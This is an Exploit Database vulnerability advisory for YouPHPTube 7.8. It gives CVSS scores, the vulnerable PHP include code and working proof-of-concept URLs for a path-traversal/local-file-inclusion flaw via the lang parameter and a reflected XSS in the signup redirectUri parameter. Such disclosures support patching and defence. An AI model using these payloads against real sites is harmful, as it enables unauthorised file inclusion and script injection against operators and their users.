YouPHPTube<= 7.8 - Multiple Vulnerabilities

• Exploit Database
• 21 阅读

• 作者： Rafael Pedrero
  日期： 2023-03-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51101/

• # Exploit Title: YouPHPTube <= 7.8 - Multiple Vulnerabilities
  # Discovery by: Rafael Pedrero
  # Discovery Date: 2021-01-31
  # Vendor Homepage: https://www.youphptube.com/
  # Software Link : https://www.youphptube.com/
  # Tested Version: 7.8
  # Tested on:Windows 7, 10 using XAMPP
  
  # Vulnerability Type: LFI + Path Traversal
  
  CVSS v3: 7.5
  CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  CWE: CWE-829, CWE-22
  
  Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory
  traversal and Local File Inclusion through the parameter in an
  /?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an
  include_once in locale/function.php page.
  
  Proof of concept:
  
  To detect: http://localhost/youphptube/index.php?lang=)
  
  An error is generated:
  
  Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0
  in C:\xampp\htdocs\YouPHPTube\locale\function.php on line 47
  
  In function.php page, we can see:
  
  // filter some security here
  if (!empty($_GET['lang'])) {
  $_GET['lang'] = str_replace(array("'", '"', """, "&#039;"),
  array('', '', '', ''), xss_esc($_GET['lang']));
  }
  
  if (empty($_SESSION['language'])) {
  $_SESSION['language'] = $config->getLanguage();
  }
  if (!empty($_GET['lang'])) {
  $_GET['lang'] = strip_tags($_GET['lang']);
  $_SESSION['language'] = $_GET['lang'];
  }
  @include_once
  "{$global['systemRootPath']}locale/{$_SESSION['language']}.php";
  
  
  The parameter "lang" can be modified and load a php file in the server.
  
  
  In Document root: /phpinfo.php with this content:
  
  <?php echo phpinfo(); ?>
  
  
  To Get phpinfo.php: http://127.0.0.1/youphptube/?lang=../../phpinfo
  
  Note: phpinfo without ".php".
  
  The new Path is:
  @include_once "{$global['systemRootPath']}locale/../../phpinfo.php";
  
  And you can see the PHP information into the browser.
  
  
  
  # Vulnerability Type: reflected Cross-Site Scripting (XSS)
  
  CVSS v3: 6.5
  CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  CWE: CWE-79
  
  Vulnerability description: YouPHPTube 7.8 and before, does not sufficiently
  encode user-controlled inputs, resulting in a reflected Cross-Site
  Scripting (XSS) vulnerability via the
  /<YouPHPTube_path_directory>/signup?redirectUri=<XSS>, in redirectUri
  parameter.
  
  Proof of concept:
  
  http://localhost/
  <YouPHPTube_path_directory>/signup?redirectUri='"()%26%25<ScRipt>alert(1)</ScRipt>